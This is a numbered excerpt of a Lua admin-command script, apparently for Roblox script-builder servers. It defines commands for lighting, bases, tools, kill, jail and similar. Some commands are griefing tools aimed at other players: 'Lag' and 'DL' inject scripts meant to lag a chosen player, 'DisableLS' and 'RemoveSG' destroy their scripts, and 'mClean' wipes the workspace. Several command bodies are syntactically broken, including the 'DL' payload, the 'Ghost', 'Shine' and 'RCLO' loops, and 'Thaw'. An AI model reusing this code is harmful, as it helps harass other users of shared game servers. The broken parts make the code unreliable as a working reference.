  12307. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12308. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12309. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12310. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12311.  
  12312.  
  12313.  
  12314. end)
  12315. Command("Back",1,'Tells other players that you have returned',
  12316. function(Msg,Speaker)
  12317. Dismiss(Speaker)
  12318. for i = 1,8 do
  12319. Output('Welcome back!',Speaker,6)
  12320. wait(.1)
  12321. end
  12322. end)
  12323. Command("Lss", 1, "Shows all local scripts", function(Msg, Speaker)
  12324. Dismiss(Speaker)
  12325. local LocalScripts = {}
  12326. for _,v in pairs(All()) do
  12327. ypcall(function()
  12328. for _,x in pairs(v.Character:GetChildren()) do
  12329. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12330. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12331. end
  12332. end
  12333. end)
  12334. ypcall(function()
  12335. for _,x in pairs(v.Backpack:GetChildren()) do
  12336. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12337. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12338. end
  12339. end
  12340. end)
  12341. ypcall(function()
  12342. for _,x in pairs(v.PlayerGui:GetChildren()) do
  12343. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12344. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12345. end
  12346. end
  12347. end)
  12348. end
  12349. if #LocalScripts > 0 then
  12350. for _,v in pairs(LocalScripts) do
  12351. Output(v, Speaker)
  12352. end
  12353. else
  12354. Output("No Local Scripts Found", Speaker, 5)
  12355. end
  12356. end)
  12357. Command("DisableLS", 5, "Disables a local script", function(Msg, Speaker)
  12358. local Split = GetSplit(Msg)
  12359. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  12360. local ScriptName = Msg:sub(Split + 1)
  12361. local FoundLocal = false
  12362. for _,name in pairs(PlrTab) do
  12363. ypcall(function()
  12364. for _,v in pairs(name.Character:GetChildren()) do
  12365. if string.find(v.Name:lower(), ScriptName) then
  12366. if v:IsA("Script") or v:IsA("LocalScript") then
  12367. v.Disabled = true
  12368. v:Destroy()
  12369. FoundLocal = true
  12370. Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12371. end
  12372. end
  12373. end
  12374. end)
  12375. ypcall(function()
  12376. for _,v in pairs(name.Backpack:GetChildren()) do
  12377. if string.find(v.Name:lower(), ScriptName) then
  12378. if v:IsA("Script") or v:IsA("LocalScript") then
  12379. v.Disabled = true
  12380. v:Destroy()
  12381. FoundLocal = true
  12382. Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12383. end
  12384. end
  12385. end
  12386. end)
  12387. ypcall(function()
  12388. for _,v in pairs(name.PlayerGui:GetChildren()) do
  12389. if string.find(v.Name:lower(), ScriptName) then
  12390. if v:IsA("Script") or v:IsA("LocalScript") then
  12391. v.Disabled = true
  12392. v:Destroy()
  12393. FoundLocal = true
  12394. Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12395. end
  12396. end
  12397. end
  12398. end)
  12399. if FoundLocal == false then
  12400. Output("Local Script False Found", Speaker, 5)
  12401. end
  12402. end
  12403. end)
  12404. Command("mClean", 5, "Mega Clean", function(Msg, Speaker)
  12405. NewS([[
  12406. for _,v in pairs(game.Workspace:GetChildren()) do
  12407. if v.Name ~= "Terrain" then
  12408. v:Destroy()
  12409. end
  12410. end
  12411. ]],game.Workspace)
  12412. a = Instance.new("Part")
  12413. a.Parent = game.Workspace
  12414. a.Name = "Base"
  12415. a.Position = Vector3.new(0, 0.6, 0)
  12416. a.Size = Vector3.new(1002, 0, 1002)
  12417. a.Material = "Grass"
  12418. a.Anchored = true
  12419. a.BrickColor = BrickColor.new("Earth green")
  12420. NewS([[
  12421. for _,v in pairs(game.Players:GetChildren()) do
  12422. v:LoadCharacter()
  12423. end
  12424. ]], game.Workspace)
  12425. Output("Mega Cleaned.", Speaker, 5)
  12426. end)
  12427. Command("Base", 3, "Creates a new base", function(Msg, Speaker)
  12428. if game.Workspace:findFirstChild("Base") then
  12429. game.Workspace.Base:Remove()
  12430. end
  12431. if game.Workspace:findFirstChild("Part") then
  12432. game.Workspace.Part:Remove()
  12433. end
  12434. if game.Workspace:findFirstChild("Baseplate") then
  12435. game.Workspace.Baseplate:Remove()
  12436. end
  12437. a = Instance.new("Part")
  12438. a.Parent = game.Workspace
  12439. a.Name = "Base"
  12440. a.Position = Vector3.new(0, 0.6, 0)
  12441. a.Size = Vector3.new(1002, 0, 1002)
  12442. a.Material = "Grass"
  12443. a.Anchored = true
  12444. a.BrickColor = BrickColor.new("Earth green")
  12445. Output("Successfully created a new base",Speaker)
  12446. end)
  12447. Command("BallBase", 3, "Creates a new ball shaped base", function(Msg, Speaker)
  12448. if game.Workspace:findFirstChild("Base") then
  12449. game.Workspace.Base:Remove()
  12450. end
  12451. if game.Workspace:findFirstChild("Part") then
  12452. game.Workspace.Part:Remove()
  12453. end
  12454. if game.Workspace:findFirstChild("Baseplate") then
  12455. game.Workspace.Baseplate:Remove()
  12456. end
  12457. a = Instance.new("Part")
  12458. a.Parent = game.Workspace
  12459. a.Name = "Base"
  12460. a.Shape = "Ball"
  12461. a.Position = Vector3.new(0, 0.6, 0)
  12462. a.Size = Vector3.new(1002, 0, 1002)
  12463. a.Material = "Grass"
  12464. a.Anchored = true
  12465. a.BrickColor = BrickColor.new("Dark green")
  12466. Output("Successfully created a new ball shaped base",Speaker)
  12467. end)
  12468. Command("Cl", 5, "Cleans the server", function(Msg, Speaker)
  12469. for _,v in pairs(game.Workspace:children()) do
  12470. if v:IsA "Script" or v:IsA "LocalScript" or v:IsA "Message" or v:IsA "Hint" or v:IsA "Explosion" then
  12471. v:Remove()
  12472. end
  12473. Output("Lightly cleaned workspace", Speaker, 5)
  12474. end
  12475. end)
  12476. Command("Priadd", 3, "Adds a player into the private servers list", function(Msg, Speaker)
  12477. local PlrTab = getPlayer(Speaker, Msg)
  12478. if #PlrTab > 0 then
  12479. for _,v in pairs(PlrTab) do
  12480. ypcall(function()
  12481. table.insert(PrivPlrs, v)
  12482. Output("Added "..v.Name.." into the Private Players list", Speaker, 5)
  12483. end)
  12484. end
  12485. end
  12486. end)
  12487. Command("God", 3, "Makes a player immortal", function(Msg, Speaker)
  12488. local PlrTab = getPlayer(Speaker, Msg)
  12489. if #PlrTab > 0 then
  12490. for _,v in pairs(PlrTab) do
  12491. ypcall(function()
  12492. v.Character.Humanoid.MaxHealth = math.huge
  12493. Output("Godded "..v.Name, Speaker, 5)
  12494. end)
  12495. end
  12496. end
  12497. end)
  12498. Command("Ungod", 3, "Makes a player mortal", function(Msg, Speaker)
  12499. local PlrTab = getPlayer(Speaker, Msg)
  12500. if #PlrTab > 0 then
  12501. for _,v in pairs(PlrTab) do
  12502. ypcall(function()
  12503. v.Character.Humanoid.Health = 100
  12504. wait()
  12505. v.Character.Humanoid.MaxHealth = 100
  12506. Output("Ungodded "..v.Name, Speaker, 5)
  12507. end)
  12508. end
  12509. end
  12510. end)
  12511.  
  12512.  
  12513. Command("Lag", 7, "Lags a player", function(Msg, Speaker)
  12514. local PlrTab = getPlayer(Speaker, Msg)
  12515. if #PlrTab > 0 then
  12516. for _,v in pairs(PlrTab) do
  12517. ypcall(function()
  12518. v.CameraMode = "LockFirstPerson"
  12519. wait()
  12520. NewLS(LagSource, v.Backpack)
  12521. Output("Lagged "..v.Name.." badly", Speaker, 5)
  12522. end)
  12523. end
  12524. end
  12525. end)
  12526. Command("DL", 7, "Makes a player lag very bad", function(Msg, Speaker)
  12527. local PlrTab = getPlayer(Speaker, Msg)
  12528. if #PlrTab > 0 then
  12529. for _,v in pairs(PlrTab) do
  12530. ypcall(function()
  12531. NewLS([[repeat Instance.new("Message"
  12532. until, game.Players.LocalPlayer.PlayerGui).
  12533. Text = "Such Lag"
  12534. until
  12535. return]], v.Backpack)
  12536. end)
  12537. end
  12538. end
  12539. end)
  12540. Command("MiniP", 7, "Gives a player minipeep", function(Msg, Speaker)
  12541. local PlrTab = getPlayer(Speaker, Msg)
  12542. if #PlrTab > 0 then
  12543. for _,v in pairs(PlrTab) do
  12544. ypcall(function()
  12545. NewLS(MiniPeep, v.Backpack)
  12546. Output("Gave "..v.Name.." Mini-Peep", Speaker, 5)
  12547. end)
  12548. end
  12549. end
  12550. end)
  12551. Command("ClrB", 7, "Clears a player's backpack", function(Msg, Speaker)
  12552. local PlrTab = getPlayer(Speaker, Msg)
  12553. if #PlrTab > 0 then
  12554. for _,v in pairs(PlrTab) do
  12555. ypcall(function()
  12556. v.Backpack:ClearAllChildren()
  12557. Output("Cleared "..v.Name.."'s backpack", Speaker, 5)
  12558. end)
  12559. end
  12560. end
  12561. end)
  12562. Command("RemvB", 7, "Removes a player's backpack", function(Msg, Speaker)
  12563. local PlrTab = getPlayer(Speaker, Msg)
  12564. if #PlrTab > 0 then
  12565. for _,v in pairs(PlrTab) do
  12566. ypcall(function()
  12567. v.Backpack:Remove()
  12568. Output("Removed "..v.Name.."'s backpack", Speaker, 5)
  12569. end)
  12570. end
  12571. end
  12572. end)
  12573. Command("Raven", 7, "Gives a player a raven", function(Msg, Speaker)
  12574. local PlrTab = getPlayer(Speaker, Msg)
  12575. if #PlrTab > 0 then
  12576. for _,v in pairs(PlrTab) do
  12577. ypcall(function()
  12578. NewLS(Raven, v.Backpack)
  12579. Output("Gave "..v.Name.." a raven", Speaker, 5)
  12580. end)
  12581. end
  12582. end
  12583. end)
  12584. Command("Fly", 7, "Flies a player", function(Msg, Speaker)
  12585. local PlrTab = getPlayer(Speaker, Msg)
  12586. if #PlrTab > 0 then
  12587. for _,v in pairs(PlrTab) do
  12588. ypcall(function()
  12589. NewLS(Fly, v.Backpack)
  12590. Output("Press E to Fly!", v, 5)
  12591. end)
  12592. end
  12593. end
  12594. end)
  12595. Command("Jail", 3, "Jails a player", function(Msg, Speaker)
  12596. local PlrTab = getPlayer(Speaker, Msg)
  12597. if #PlrTab > 0 then
  12598. for _,v in pairs(PlrTab) do
  12599. ypcall(function()
  12600. NewLS(JailSource, v.Backpack)
  12601. Output("Jailed"..v.Name.."", Speaker, 5)
  12602. end)
  12603. end
  12604. end
  12605. end)
  12606. Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
  12607. local PlrTab = getPlayer(Speaker, Msg)
  12608. if #PlrTab > 0 then
  12609. for _,c in pairs(PlrTab) do
  12610. ypcall(function()
  12611. for c, pairs in (v.Character:children()) do
  12612. if c:IsA("Part") then
  12613. c.Transparency = 0.5
  12614. end
  12615. end
  12616. Output("Turned "..v.Name.." into a ghost", Speaker, 5)
  12617. end)
  12618. end
  12619. end
  12620. end)
  12621. Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
  12622. local PlrTab = getPlayer(Speaker, Msg)
  12623. if #PlrTab > 0 then
  12624. for _,v in pairs(PlrTab) do
  12625. ypcall(function()
  12626. for _, c in pairs(v.Character:children()) do
  12627. if c:IsA("Part") then
  12628. c.Transparency = 1
  12629.  
  12630. end
  12631. end
  12632.  
  12633. Output("Disappeared "..v.Name, Speaker, 5)
  12634. end)
  12635. end
  12636. end
  12637. end)
  12638. Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
  12639. local PlrTab = getPlayer(Speaker, Msg)
  12640. if #PlrTab > 0 then
  12641. for _,v in pairs(PlrTab) do
  12642. ypcall(function()
  12643. for _,c in pairs(v.Character:children()) do
  12644. if c:IsA("Part") then
  12645. c.Transparency = 0
  12646. end
  12647. end
  12648. Output("Showed "..v.Name, Speaker, 5)
  12649. end)
  12650. end
  12651. end
  12652. end)
  12653. Command("Shine", 3, "Makes a player shiny", function(Msg, Speaker)
  12654. local PlrTab = getPlayer(Speaker, Msg)
  12655. if #PlrTab > 0 then
  12656. for _,v in pairs(PlrTab) do
  12657. ypcall(function()
  12658. for c, pairs in (v.Character:children()) do
  12659. if c:IsA("Part") then
  12660. c.Reflectance = 1
  12661. end
  12662. end
  12663. Output("Shinied "..v.Name, Speaker, 5)
  12664. end)
  12665. end
  12666. end
  12667. end)
  12668. Command("Unshine", 3, "Makes a player unshiny", function(Msg, Speaker)
  12669. local PlrTab = getPlayer(Speaker, Msg)
  12670. if #PlrTab > 0 then
  12671. for _,v in pairs(PlrTab) do
  12672. ypcall(function()
  12673. for c, pairs in (v.Character:children()) do
  12674. if c:IsA("Part") then
  12675. c.Reflectance = 0
  12676. end
  12677. end
  12678. Output("Removed shininess from "..v.Name, Speaker, 5)
  12679. end)
  12680. end
  12681. end
  12682. end)
  12683. Command("Noob", 3, "Turns a player into a noob", function(Msg, Speaker)
  12684. local PlrTab = getPlayer(Speaker, Msg)
  12685. if #PlrTab > 0 then
  12686. for _,v in pairs(PlrTab) do
  12687. ypcall(function()
  12688. NewLS(Noob, v.Backpack)
  12689. Output("Noobifyed "..v.Name, Speaker, 5)
  12690. end)
  12691. end
  12692. end
  12693. end)
  12694. Command("RCLO", 3, "Removes a player's clothing", function(Msg, Speaker)
  12695. local PlrTab = getPlayer(Speaker, Msg)
  12696. if #PlrTab > 0 then
  12697. for _,v in pairs(PlrTab) do
  12698. ypcall(function()
  12699. for c, pairs in (v.Character:children()) do
  12700. if c:IsA("Shirt") then
  12701. c:remove()
  12702. elseif c:IsA("Pants") then
  12703. c:remove()
  12704. end
  12705. end
  12706. Output("Nkd "..v.Name, Speaker, 5)
  12707. end)
  12708. end
  12709. end
  12710. end)
  12711. Command("RemoveSG", 6, "Removes a player's SB", function(Msg, Speaker)
  12712. local PlrTab = getPlayer(Speaker, Msg)
  12713. if #PlrTab > 0 then
  12714. for _,v in pairs(PlrTab) do
  12715. ypcall(function()
  12716. NewLS(DisSB, v.Backpack)
  12717. Output("Disabled "..v.Name.."'s SB", Speaker, 5)
  12718. end)
  12719. end
  12720. end
  12721. end)
  12722. Command("Respawn", 3, "Respawns a player", function(Msg, Speaker)
  12723. local PlrTab = getPlayer(Speaker, Msg)
  12724. if #PlrTab > 0 then
  12725. for _,v in pairs(PlrTab) do
  12726. ypcall(function()
  12727. v:LoadCharacter()
  12728. Output("Respawned "..v.Name, Speaker, 5)
  12729. end)
  12730. end
  12731. end
  12732. end)
  12733. Command("Home", 1, "Teleports the server home", function(Msg, Speaker)
  12734. local PlrTab = getPlayer(Speaker, Msg)
  12735. if #PlrTab > 0 then
  12736. for _,v in pairs(PlrTab) do
  12737. ypcall(function()
  12738. repeat wait() until v.Character:findFirstChild("Torso")
  12739. if Work:findFirstChild("Base") then
  12740. v.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  12741. else
  12742. v.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  12743. end
  12744. Output("Teleported "..v.Name.." Home", Speaker, 5)
  12745. end)
  12746. end
  12747. end
  12748. end)
  12749. Command("Freeze", 3, "Makes a player frozen", function(Msg, Speaker)
  12750. local PlrTab = getPlayer(Speaker, Msg)
  12751. if #PlrTab > 0 then
  12752. for _,v in pairs(PlrTab) do
  12753. ypcall(function()
  12754. v.Character.Torso.Anchored = true
  12755. Output("Froze "..v.Name, Speaker, 5)
  12756. end)
  12757. end
  12758. end
  12759. end)
  12760. Command("Thaw", 3, "Makes a player unfrozen", function(Msg, Speaker)
  12761. local PlrTab = getPlayer(Speaker, Msg)
  12762. if #PlrTab > 0 then
  12763. for _,v in pairs(PlrTab) do
  12764. ypcall(function()
  12765. for _,v2 in pairs(v.Character:GetChildren()) do
  12766. ypcall(function()
  12767. v.Anchored = false
  12768. end)
  12769. end
  12770. Output("Thawed "..v.Name, Speaker, 5)
  12771. end)
  12772. end
  12773. end
  12774. end)
  12775. Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
  12776. Bet = (tostring(Msg))
  12777. Output("The current bet is '"..Bet.. "'", nil, nil)
  12778. end)
  12779. Command("CheckSB", 1, "Checks what SB you are on", function(Msg, Speaker)
  12780. Output("You are on "..SB.."'s SB.", Speaker, nil)
  12781. end)
  12782. Command("Version", 1, "Checks the admin's Version", function(Msg, Speaker)
  12783. Output("Version is "..Version, Speaker, nil)
  12784. end)
  12785. Command("Updates", 1, "Shows what was updated", function(Msg, Speaker)
  12786. Output("Updates: "..Updates, Speaker, nil)
  12787. end)
  12788. Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
  12789. if Msg == "night" then
  12790. NewS(Night, game.Workspace)
  12791. elseif Msg == "day" then
  12792. NewS(Day, game.Workspace)
  12793. elseif Msg == "morn" then
  12794. NewS(Morning, game.Workspace)
  12795. end
  12796. end)
  12797. Command("Pri", 7, "Turns private server on/off", function(Msg, Speaker)
  12798. if Msg == "on" then
  12799. Priv = true
  12800. elseif Msg == "off" then
  12801. Priv = false
  12802. end
  12803. end)
  12804. Command("GlobalSh", 3, "Turns Global Shadows off/on", function(Msg, Speaker)
  12805. if Msg == "on" then
  12806. game.Lighting.GlobalShadows = true
  12807. elseif Msg == "off" then
  12808. game.Lighting.GlobalShadows = false
  12809. end
  12810. end)
  12811. Command("OutL", 3, "Turns Outlines off/on", function(Msg, Speaker)
  12812. if Msg == "on" then
  12813. game.Lighting.Outlines = true
  12814. elseif Msg == "off" then
  12815. game.Lighting.Outlines = false
  12816. end
  12817. end)
  12818. Command("GeogrL", 3, "Changes the Geographic Latitude", function(Msg, Speaker)
  12819. game.Lighting.GeographicLatitude = (tonumber(Msg))
  12820. end)
  12821. Command("FogE", 3, "Changes the Fog End", function(Msg, Speaker)
  12822. game.Lighting.FogEnd = (tonumber(Msg))
  12823. end)
  12824. Command("FogS", 3, "Changes the Fog Start", function(Msg, Speaker)
  12825. game.Lighting.FogStart = (tonumber(Msg))
  12826. end)
  12827. Command("TimeOD", 3, "Changes the time of day", function(Msg, Speaker)
  12828. game.Lighting.TimeOfDay = (tonumber(Msg))
  12829. end)
  12830. Command("Ambient", 3, "Changes the Ambient", function(Msg, Speaker)
  12831. game.Lighting.Ambient = Color3.new(tonumber(Msg))
  12832. end)
  12833. Command("ColorShiftB", 3, "Changes the ColorShift Bottom", function(Msg, Speaker)
  12834. game.Lighting.ColorShift_Bottom = Color3.new(tonumber(Msg))
  12835. end)
  12836. Command("ColorshiftT", 3, "Changes the ColorShift Top", function(Msg, Speaker)
  12837. game.Lighting.ColorShift_Top = Color3.new(tonumber(Msg))
  12838. end)
  12839. Command("OutdoorAmb", 3, "Changes the Outdoor Ambient", function(Msg, Speaker)
  12840. game.Lighting.OutdoorAmbient = Color3.new(tonumber(Msg))
  12841. end)
  12842. Command("ShadowC", 3, "Changes the Shadow color", function(Msg, Speaker)
  12843. game.Lighting.ShadowColor = Color3.new(tonumber(Msg))
  12844. end)
  12845. Command("FogC", 3, "Changes the Fog color", function(Msg, Speaker)
  12846. game.Lighting.FogColor = Color3.new(tonumber(Msg))
  12847. end)
  12848. Command("BrightC", 3, "Changes the Brightness", function(Msg, Speaker)
  12849. game.Lighting.Brightness = (tonumber(Msg))
  12850. end)
  12851. Command("PointL", 3, "Gives a player light", function(Msg, Speaker)
  12852. local PlrTab = getPlayer(Speaker, Msg)
  12853. if #PlrTab > 0 then
  12854. for _,v in pairs(PlrTab) do
  12855. ypcall(function()
  12856. local pie = Instance.new("PointLight", v.Character.Torso)
  12857. pie.Range = 10
  12858. pie.Shadows = true
  12859. pie.Brightness = 50
  12860. end)
  12861. end
  12862. end
  12863. end)
  12864. Command("UnPointL", 3, "Removes player's light", function(Msg, Speaker)
  12865. local PlrTab = getPlayer(Speaker, Msg)
  12866. if #PlrTab > 0 then
  12867. for _,v in pairs(PlrTab) do
  12868. ypcall(function()
  12869. v.Character.Torso:findFirstChild("PointLight"):Remove()
  12870. end)
  12871. end
  12872. end
  12873. end)
  12874. Command("Punish", 3, "Punishes a player", function(Msg, Speaker)
  12875. local PlrTab = getPlayer(Speaker, Msg)
  12876. if #PlrTab > 0 then
  12877. for _,v in pairs(PlrTab) do
  12878. ypcall(function()
  12879. v.Character.Parent = game:GetService("Lighting")
  12880. end)
  12881. end
  12882. end
  12883. end)
  12884. Command("Unpun", 3, "Unpunishes a player", function(Msg, Speaker)
  12885. local PlrTab = getPlayer(Speaker, Msg)
  12886. if #PlrTab > 0 then
  12887. for _,v in pairs(PlrTab) do
  12888. ypcall(function()
  12889. v.Character.Parent = game.Workspace
  12890. v.Character:MakeJoints()
  12891. end)
  12892. end
  12893. end
  12894. end)
  12895. Command("CSword", 3, "Gives a player a sword, a classic one", function(Msg, Speaker)
  12896. local PlrTab = getPlayer(Speaker, Msg)
  12897. if #PlrTab > 0 then
  12898. for _,v in pairs(PlrTab) do
  12899. ypcall(function()
  12900. local tool = Instance.new("Tool", v.Backpack)
  12901. tool.Name = "Sword"
  12902. tool.ToolTip = "Classy Sword"
  12903. tool.TextureId = "rbxasset://Textures/Sword128.png"
  12904. tool.GripForward = Vector3.new(-1,0,0)
  12905. tool.GripPos = Vector3.new(0,0,-1.5)
  12906. tool.GripRight = Vector3.new(0,1,0)
  12907. tool.GripUp = Vector3.new(0,0,1)
  12908. local sword = Instance.new("Part", tool)
  12909. sword.Name = "Handle"
  12910. sword.Locked = true
  12911. sword.Reflectance = 0.4
  12912. sword.BrickColor = BrickColor.new("Dark stone grey")
  12913. sword.Size = Vector3.new(1,0.8,4)
  12914. local mesh = Instance.new("SpecialMesh", sword)
  12915. mesh.MeshType = "FileMesh"
  12916. mesh.MeshId = "rbxasset://fonts/sword.mesh"
  12917. mesh.TextureId = "rbxasset://textures/SwordTexture.png"
  12918. NewS([[
  12919. r = game:service("RunService")
  12920.  
  12921.  
  12922. local damage = 5
  12923.  
  12924.  
  12925. local slash_damage = 10
  12926. local lunge_damage = 30
  12927.  
  12928. sword = script.Parent.Handle
  12929. Tool = script.Parent
  12930.  
  12931.  
  12932. local SlashSound = Instance.new("Sound")
  12933. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  12934. SlashSound.Parent = sword
  12935. SlashSound.Volume = .7
  12936.  
  12937. local LungeSound = Instance.new("Sound")
  12938. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  12939. LungeSound.Parent = sword
  12940. LungeSound.Volume = .6
  12941.  
  12942. local UnsheathSound = Instance.new("Sound")
  12943. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  12944. UnsheathSound.Parent = sword
  12945. UnsheathSound.Volume = 1
  12946.  
  12947.  
  12948. function blow(hit)
  12949. if (hit.Parent == nil) then return end -- happens when bullet hits sword
  12950.  
  12951. local humanoid = hit.Parent:findFirstChild("Humanoid")
  12952. local vCharacter = Tool.Parent
  12953. local vPlayer = game.Players:playerFromCharacter(vCharacter)
  12954. local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
  12955. if humanoid~=nil and humanoid ~= hum and hum ~= nil then
  12956. -- final check, make sure sword is in-hand
  12957.  
  12958. local right_arm = vCharacter:FindFirstChild("Right Arm")
  12959. if (right_arm ~= nil) then
  12960. local joint = right_arm:FindFirstChild("RightGrip")
  12961. if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
  12962. tagHumanoid(humanoid, vPlayer)
  12963. humanoid:TakeDamage(damage)
  12964. wait(1)
  12965. untagHumanoid(humanoid)
  12966. end
  12967. end
  12968.  
  12969.  
  12970. end
  12971. end
  12972.  
  12973.  
  12974. function tagHumanoid(humanoid, player)
  12975. local creator_tag = Instance.new("ObjectValue")
  12976. creator_tag.Value = player
  12977. creator_tag.Name = "creator"
  12978. creator_tag.Parent = humanoid
  12979. end
  12980.  
  12981. function untagHumanoid(humanoid)
  12982. if humanoid ~= nil then
  12983. local tag = humanoid:findFirstChild("creator")
  12984. if tag ~= nil then
  12985. tag.Parent = nil
  12986. end
  12987. end
  12988. end
  12989.  
  12990.  
  12991. function attack()
  12992. damage = slash_damage
  12993. SlashSound:play()
  12994. local anim = Instance.new("StringValue")
  12995. anim.Name = "toolanim"
  12996. anim.Value = "Slash"
  12997. anim.Parent = Tool
  12998. end
  12999.  
  13000. function lunge()
  13001. damage = lunge_damage
  13002.  
  13003. LungeSound:play()
  13004.  
  13005. local anim = Instance.new("StringValue")
  13006. anim.Name = "toolanim"
  13007. anim.Value = "Lunge"
  13008. anim.Parent = Tool
  13009.  
  13010.  
  13011. force = Instance.new("BodyVelocity")
  13012. force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
  13013. force.Parent = Tool.Parent.Torso
  13014. wait(.25)
  13015. swordOut()
  13016. wait(.25)
  13017. force.Parent = nil
  13018. wait(.5)
  13019. swordUp()
  13020.  
  13021. damage = slash_damage
  13022. end
  13023.  
  13024. function swordUp()
  13025. Tool.GripForward = Vector3.new(-1,0,0)
  13026. Tool.GripRight = Vector3.new(0,1,0)
  13027. Tool.GripUp = Vector3.new(0,0,1)
  13028. end
  13029.  
  13030. function swordOut()
  13031. Tool.GripForward = Vector3.new(0,0,1)
  13032. Tool.GripRight = Vector3.new(0,-1,0)
  13033. Tool.GripUp = Vector3.new(-1,0,0)
  13034. end
  13035.  
  13036. function swordAcross()
  13037. -- parry
  13038. end
  13039.  
  13040.  
  13041. Tool.Enabled = true
  13042. local last_attack = 0
  13043. function onActivated()
  13044.  
  13045. if not Tool.Enabled then
  13046. return
  13047. end
  13048.  
  13049. Tool.Enabled = false
  13050.  
  13051. local character = Tool.Parent;
  13052. local humanoid = character.Humanoid
  13053. if humanoid == nil then
  13054. print("Humanoid not found")
  13055. return
  13056. end
  13057.  
  13058. t = r.Stepped:wait()
  13059.  
  13060. if (t - last_attack < .2) then
  13061. lunge()
  13062. else
  13063. attack()
  13064. end
  13065.  
  13066. last_attack = t
  13067.  
  13068. --wait(.5)
  13069.  
  13070. Tool.Enabled = true
  13071. end
  13072. function onEquipped()
  13073. UnsheathSound:play()
  13074. end
  13075. script.Parent.Activated:connect(onActivated)
  13076. script.Parent.Equipped:connect(onEquipped)
  13077. connection = sword.Touched:connect(blow)
  13078. ]], tool)
  13079. NewLS([[
  13080.  
  13081. local Tool = script.Parent;
  13082.  
  13083. enabled = true
  13084. function onButton1Down(mouse)
  13085. if not enabled then
  13086. return
  13087. end
  13088.  
  13089. enabled = false
  13090. mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
  13091.  
  13092. wait(.5)
  13093. mouse.Icon = "rbxasset://textures\\GunCursor.png"
  13094. enabled = true
  13095.  
  13096. end
  13097.  
  13098. function onEquippedLocal(mouse)
  13099.  
  13100. if mouse == nil then
  13101. print("Mouse not found")
  13102. return
  13103. end
  13104.  
  13105. mouse.Icon = "rbxasset://textures\\GunCursor.png"
  13106. mouse.Button1Down:connect(function() onButton1Down(mouse) end)
  13107. end
  13108.  
  13109.  
  13110. Tool.Equipped:connect(onEquippedLocal)
  13111. ]], tool)
  13112. end)
  13113. end
  13114. end
  13115. end)
  13116. Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
  13117. local PlrTab = getPlayer(Speaker, Msg)
  13118. if #PlrTab > 0 then
  13119. for _,v in pairs(PlrTab) do
  13120. ypcall(function()
  13121. Instance.new("Sparkles", v.Character.Torso)
  13122. end)
  13123. end
  13124. end
  13125. end)
  13126. Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
  13127. local PlrTab = getPlayer(Speaker, Msg)
  13128. if #PlrTab > 0 then
  13129. for _,v in pairs(PlrTab) do
  13130. ypcall(function()
  13131. Instance.new("Fire", v.Character.Torso)
  13132. end)
  13133. end
  13134. end
  13135. end)
  13136. Command("Smoke", 3, "Gives a player smoke", function(Msg, Speaker)
  13137. local PlrTab = getPlayer(Speaker, Msg)
  13138. if #PlrTab > 0 then
  13139. for _,v in pairs(PlrTab) do
  13140. ypcall(function()
  13141. Instance.new("Smoke", v.Character.Torso)
  13142. end)
  13143. end
  13144. end
  13145. end)
  13146. Command("Clone", 3, "Clones a player", function(Msg, Speaker)
  13147. local PlrTab = getPlayer(Speaker, Msg)
  13148. if #PlrTab > 0 then
  13149. for _,v in pairs(PlrTab) do
  13150. ypcall(function()
  13151. local Model = v.Character:Clone()
  13152. Model.Parent = game.Workspace
  13153. end)
  13154. end
  13155. end
  13156. end)
  13157. Command("Kill", 3, "Kills a player", function(Msg, Speaker)
  13158. local PlrTab = getPlayer(Speaker, Msg)
  13159. if #PlrTab > 0 then
  13160. for _,v in pairs(PlrTab) do
  13161. ypcall(function()
  13162. v.Character:BreakJoints()
  13163. end)
  13164. end
  13165. end
  13166. end)
  13167.  
  13168. function OutputToAdmins(Msg, Plr, Time, Func, Color, Image)
  13169. for i,v in pairs(game:service'Players':players()) do
  13170. if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
  13171. Output(tostring(Msg), v.Name)
  13172. end
  13173. end
  13174. end
  13175.  
  13176. Command("Ff", 3, "Gives a player a forcefield", function(Msg, Speaker)
  13177. local PlrTab = getPlayer(Speaker, Msg)
  13178. if #PlrTab > 0 then
  13179. for _,v in pairs(PlrTab) do
  13180. ypcall(function()
  13181. Instance.new("ForceField", v.Character)
  13182. end)
  13183. end
  13184. end
  13185. end)
  13186. Command("PingT", 3, "Ping something to a player", function(Msg, Speaker)
  13187. local Split = GetSplit(Msg)
  13188. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13189. local Msg = tostring(Msg:sub(Split + 1))
  13190. if #PlrTab > 0 then
  13191. for _,v in pairs(PlrTab) do
  13192. ypcall(function()
  13193. Output(Msg, v)
  13194. end)
  13195. end
  13196. end
  13197. end)
  13198.  
  13199.  
